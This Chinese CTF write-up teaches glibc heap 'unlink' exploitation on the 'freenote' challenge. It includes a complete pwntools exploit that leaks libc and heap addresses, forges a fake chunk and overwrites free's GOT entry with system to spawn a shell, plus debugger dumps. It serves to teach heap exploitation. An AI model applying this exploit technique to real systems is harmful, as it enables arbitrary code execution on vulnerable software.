
unlink是一个宏操作,用于将某一个空闲 chunk 从其所处的双向链表中脱链,
我们来利用unlink 所造成的漏洞时,其实就是对进行 unlink chunk 进行内存布局,然后借助 unlink 操作来达成修改指针
的效果。
设指向可 UAF chunk 的指针的地址为 ptr
ptr 处的指针会变为 ptr - 0x18。
使得已指向 UAF chunk 的指针 ptr 变为 ptr - 0x18
源码路径
malloc.c
_init_free
#define unlink(AV, P, BK, FD) //line:1405
逐次分析如下
宏定义
#define unlink(AV, P, BK, FD)大小检查
if (__builtin_expect (chunksize(P) != prev_size (next_chunk(P)), 0))
malloc_printerr ("corrupted size vs. prev_size");若物理相邻的后一个chunk的prev_size位的值与当前待脱链的空闲chunk的size不等时,报错
指针操作
FD = P->fd;
BK = P->bk;`
首先通过 fd 以及 bk 指针获得 P 的前一个空闲 chunk 为 FD,以及后一个空闲 chunk 为 BK
图示如下:8 bytes / 小格(以64位程序为例)

关键检查
if (__builtin_expect (FD->bk != P || BK->fd != P, 0))
malloc_printerr ("corrupted double-linked list");这是一个关键 check ,利用者想要绕过此检查,需要构造合适的 fake chunk
如何绕过检查呢?
满足以下式子:
P->fd->bk == P <=> *(P->fd + 0x18) == P
p->bk->fd == P <=> *(p->bk + 0x10) == P如果要让 P->fd+0x18 和 p->bk+0x10 指向同一个指向 P 的指针,那么需要将 fd 和bk 的内容分别修改为:
P->fd = &P - 0x18
P->bk = &P - 0x10因此,我们只需要将 fd 的内容 设置为 (&p-0x18),将 bk 的内容设置为 (&p-0x10) 即可绕过安全检查

当满足以上条件时,才可以进入 Unlink 断链的环节:
因为 P 只可能从 smallbin 或者 largebin 中脱链,而这两个 bin 都是双向链表,因此脱链操作必须同时修改前后 chunk 的 fd 或者 bk 指针,即进行如下操作
FD->bk = BK <=> P->fd->bk = p->bk <=> *(P->fd + 0x18) = P->bk //Ⅰ
BK->fd = FD <=> P->bk->fd = p->fd <=> *(P->bk + 0x10) = P->fd //Ⅱ对 Ⅰ式做换算,得到 P = &P - 0x10 ,如下
∵ P->fd = &P - 0x18
∴ *(&P - 0x18 + 0x18) = P->bk => P = P->bk
∵ P->bk = &P - 0x10
∴ P = &P - 0x10对 Ⅱ 式做换算,得到 P = &P - 0x18 ,如下
∵ P->bk = &P - 0x10
∴ *(P->bk + 0x10) = P->fd => P = P->fd
∵ P->fd = &P - 0x18
∴ P = &P - 0x18综上,断链之后 P 指针将指向 (&p-0x18) 的内存

假设我们设置 P = free_got, *(&P-0x18) = system,那么当下一次free一个堆块的时候,就会调用system。
largebin脱链
对于 smallbin 来说,脱链操作就此完成了,但是对于 largebin 来说,还有未完成的工作,因为 largebin 中还有 fdnextsize 以及 bknextsize 指针需要修改。
smallbin 中的 chunk 的 fdnextsize 和 bknextsize 是没有意义的,即使是 largebin,也只有在相同尺寸的同一组 chunks 中的第一个 chunk 中 fdnextsize 以及 bknextsize 才有意义。
if (!in_smallbin_range (P->size) \
&& __builtin_expect (P->fd_nextsize != NULL, 0)) {
...
}可见只有当 P->fdnextsize != null 时才需要修改,因为如果 P->fdnextsize == null ,说明 P 是尺寸相同的一组 chunks
的非第一个 chunk,此时 P 的 fdnextsize 和 bknextsize 是没有意义的,自然没有修改的必要。
否则操作如下:
if (FD->fd_nextsize == NULL) {
if (P->fd_nextsize == P)
FD->fd_nextsize = FD->bk_nextsize = FD;
else {
FD->fd_nextsize = P->fd_nextsize;
FD->bk_nextsize = P->bk_nextsize;
P->fd_nextsize->bk_nextsize = FD;
P->bk_nextsize->fd_nextsize = FD;
}
} else {
P->fd_nextsize->bk_nextsize = P->bk_nextsize;
P->bk_nextsize->fd_nextsize = P->fd_nextsize;
}如果 FD->fd_nextsize == NULL ,那么 P 脱链后 FD 即成为当前尺寸相同的 chunks 的第一个 chunk。
继续判断 P->fd_nextsize == P ,因为当 P 为仅有的唯一一组尺寸相同的 chunks 的第一个 chunk 的话,是需要特别对待
的,否则 FD 直接继承 P 的 fdnextsize 以及 bknextsize 即可。
如果 FD->fd_nextsize != NULL ,说明 FD 是下一组尺寸相同的 chunks 的第一个 chunk。
➜ freenote file freenote_x64
freenote_x64: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/l, for GNU/Linux 2.6.24, BuildID[sha1]=dd259bb085b3a4aeb393ec5ef4f09e312555a64d, stripped
➜ freenote checksec freenote_x64
[*] '/mnt/hgfs/ctf_debug/Heap/unlink/freenote/freenote_x64'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
➜ ./freenote
== 0ops Free Note ==
1. List Note
2. New Note
3. Edit Note
4. Delete Note
5. Exit
====================
Your choice:可以看出,程序是 64 位的,开启了 Canary 和 NX 保护,功能为对 Note进行增删改查
使用 IDA 进行静态分析
1.程序主体框架与自定义结构体


qword6020A8 变量出现在了main函数的各个子函数中,且含有子成员,判断其为结构体类型,命名为 list ,函数本身的功能是对于list结构体做初始化工作,故认为其为 initheap 函数

这是一个标准的菜单栏,输入的参数经 sub_40094E 函数处理后返回 main 中相应的子函数,进行链表的增删改查操作。
按习惯,按 n键 将以上关键函数和变量重命名

由 v0 = 256 ,(list + 8) = 0,看出 list 结构体存在两个普通8字节变量,
由 (list + 24LL * i + 16) 可以看出,list 结构体中存在一个结构体数组变量,将其命名为 struct_array,
由 list + 24LL * i + 16/24/32 可以看出,struct_array 结构体含有三个8字节变量。
接下来为了辅助分析,自定义结构体,以使代码更简明
Shift F9 切换结构体窗口,Fn + PgDn 新建一个结构体,d 创建结构体成员,切换字节宽度为 dq

接下来,双击 initheap 函数中任意一个 list 变量,进入汇编窗口,按 y 修改类型为 structlist *list ,使结构体生效

返回 init_heap 函数, F5 刷新

很容易看出 list_0 为 count
从 New 函数中的 if ( list->field8 < list->count) 可以看出,field8 为 current_count
简化后的 init_heap ,如下结果

field_0, field_8, field_10 暂时看不出什么作用,去 New 函数看一看
2.New函数分析

由 if ( !list->structarray[i].field0 ) 可判断 field_0 为一个标志位,标记是否使用,为 0 时才创建堆块,将其命名为 flag,
由 v4 = sub20094E 可知 v4 为结构体的长度,将 field8 命名为为 length
由 v1 = malloc((128 - v4 % 128) % 128 + v4) 可知 v1 为输入字符串,将 field_10 命名为 buf
简化后的 New 函数,如下结果

Edit函数分析

注意到修改时的realloc操作:
v1->struct_array[v3].buf = (__int64)realloc((void *)list->struct_array[v3].buf, (128 - v2 % 128) % 128 + v2);Free函数分析

注意到,将 flag 和 length 清零,而后 free 掉 buf ,没有置空指针,因此存在UAF
而且delete只检验了:
v1 < 0 || v1 >= list->count并没有对于堆块做有效性检验,故存在 double free 漏洞
以下开始设计 exp ,以下为基本菜单
from pwn import *
#context.log_level = 'debug'
p=process("./freenote_x64")
elf=ELF("./freenote_x64")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def new(length,note):
p.recvuntil("choice: ")
p.sendline("2")
p.recvuntil("note: ")
p.sendline(str(length))
p.recvuntil("note: ")
p.sendline(note)
def edit(num,length,note):
p.recvuntil("choice: ")
p.sendline("3")
p.recvuntil("number: ")
p.sendline(str(num))
p.recvuntil("note: ")
p.sendline(str(length))
p.recvuntil("note: ")
p.sendline(note)
def delete(num):
p.recvuntil("choice: ")
p.sendline("4")
p.recvuntil("number: ")
p.sendline(str(num))思路
如果我们能打印一个非fastbin链中的fd,bk,那我们就可以计算出libc的基地址
方法
创建chunk 1和chunk 2,释放掉chunk 0,可以得到main_arena的地址
公式
libc.addr = libc_on - libc.sysbols["main_arena"] - 88实现
new(8,"a"*7) //new一个8字节的chunk,发送7个'a'
new(8,"a"*7)
delete(0)
new(8,"a"*7)
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("aaaaaaa\n")
libc.address=u64(p.recv(6).ljust(8,"\x00"))-0x3c4b78注意
思路:和 leak libc 差不多,只不过偏移不同
方法
创建4个chunk,释放掉0号和2号,这时候0号的fd和bk将指向2号堆块,构成双向链表
heap_base 是 main 函数执行后程序分配到的第一个堆的基地址
程序分配的第一个堆是索引表,索引表堆块用户区大小是 0x1810,索引表堆块的 head 占 0x10,因此索引表堆块总大小为 0x1820
chunk0->bk 指向的是 chunk2,索引表堆块和chunk2之间隔了一个 chunk0 加一个 chunk1 ,因此这块间隔的大小就是(0x10+0x80)*2=0x120
因此 chunk0bk 所指向的位置 (chunk2) 到 heapbase 的总偏移量就等于 0x1820+0x120=0x1940
目的:获取0号堆块的地址
实现
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
new(8,"a"*7)
delete(0)
delete(2)
new(8,"/bin/sh")
p.recvuntil("choice: ")
p.sendline("1")
p.recvuntil("0. /bin/sh\n")
heap_addr=u64(p.recvuntil("\n").strip().ljust(8,"\x00"))-0x1940成因
之前free函数中可以看到,未对free的堆块进行检查和置空
方法:再次 free 2号堆块
目的:为 unlink 做准备
实现
delete(3)
delete(2)思路
伪造一个fake_chunk,修改fd和bk,绕过检查,修改指针
注意
fakechunk之后需要跟两个chunk,防止和topchunk合并
实现
delete(3)
delete(2) # 相当于图片中的 P 堆块
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60+p64(0x80)+p64(0x90)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
new(len(fake_chunk),fake_chunk)
delete(3) # 删除引线堆块,触发unlink思路
之前已经获得了libc的地址,现在将 chunk1 的内容覆盖为free函数的地址
再 edit(1) 将 free 函数在got表中的地址修改为system的地址,这时再free一次即可实现system("/bin/sh")
注意
double free之后 chunk0 的指针被覆盖了,这时调用remalloc的话就会报错,因此edit的时候需要将输入的长度填充为与2号chunk的length一样,才不会调用remalloc
实现
edit(2,0x230,p64(elf.got['free'])+p64(0)*0x228) //
edit(1,0x8,p64(libc.symbols['system']))
delete(0)初始状态,程序分配了 0x1810 大小的堆空间,回过头看之前的 v0 = malloc(0x1810uLL),多出来的 0x10 字节用于存储结构体的首部信息

按四次 c 键,创建四个 chunk ,如下图

删除 chunk 0 和chunk 2,如下

至此,main_arena 的地址已泄露,0x7fe1f17edb78
接下来,写入 /bin/sh,如下

验证一下

获取 heap 和 libc 的基址,如下

手动验算一下
libc.address = 0x7fe1f17edb78 - 0x3C4B20 - 88 = 0x7fe1f1429000
heap_addr = chunk2.addr - 0x1940 = 0x1e2940 - 0x1940 = 0x1e1000接下来,删除 chunk 3 和 chunk 2,如下

可以看到 chunk 2 和 chunk 3 在 free 之后归并到了 top chunk

新建 fake_chunk ,并将 fd 和 bk 设置为 chunk2-0x18 和 chunk2 - 0x10 ,如下
fake_chunk=p64(0)+p64(0x81)+p64(heap_addr+0x60-0x18)+p64(heap_addr+0x60-0x10)+'a'*0x60 # 2
fake_chunk+=p64(0x80)+p64(0x90)+'a'*0x80 # 3
fake_chunk+=p64(0)+p64(0x91)+'a'*0x80+p64(0)+p64(0x91)+'a'*0x80
pwndbg> x/80gz 0x1ef2940
0x1ef2940: 0x0000000000000000 0x0000000000000291
0x1ef2950: 0x0000000000000000 0x0000000000000081 ==>伪造堆块的起始点
0x1ef2960: 0x0000000001ef1048 0x0000000001ef1050 ==>target-0x18 / target-0x10
0x1ef2970: 0x6161616161616161 0x6161616161616161
0x1ef2980: 0x6161616161616161 0x6161616161616161
0x1ef2990: 0x6161616161616161 0x6161616161616161
0x1ef29a0: 0x6161616161616161 0x6161616161616161
0x1ef29b0: 0x6161616161616161 0x6161616161616161
0x1ef29c0: 0x6161616161616161 0x6161616161616161
0x1ef29d0: 0x0000000000000080 0x0000000000000090 ==>伪造堆块3;伪造前一个堆块为0x80并且为空闲状态
0x1ef29e0: 0x6161616161616161 0x6161616161616161删除引线堆块 chunk 3,使chunk 2 和 chunk 3发生合并 ,触发 unlink 操作
delete(3)此时索引表的内存布局

下一步,编辑 chunk 2,写入 free_got 的地址

可以看到,原本指向 chunk 1 的指针指向了 free_got

即,只要我们编辑 chunk2 - 0x18 的内容就能使 free_got 指向该内容对应的地址,
从索引表可以看到 chunk2 - 0x18 刚好是 chunk1 的起始位置,执行
edit(1,0x8,p64(libc.symbols['system']))效果如下
//由之前我们推导的结果可知
*(p) = p - 0x18
//此时,我们往 chunk1 写入 system 的地址,正好满足
*(free) = *(chunk2 - 0x18) = system下一步,删除 chunk 0,触发 free 操作,由于 free 指向了 system 函数的地址,此时便会执行 system("/bin/sh") 。

https://ctf-wiki.github.io/ctf-wiki/pwn/linux/glibc-heap/unlink-zh/
本文分享自 Ms08067安全实验室 微信公众号,前往查看
如有侵权,请联系 cloudcommunity@tencent.com 删除。
本文参与 腾讯云自媒体同步曝光计划 ,欢迎热爱写作的你一起参与!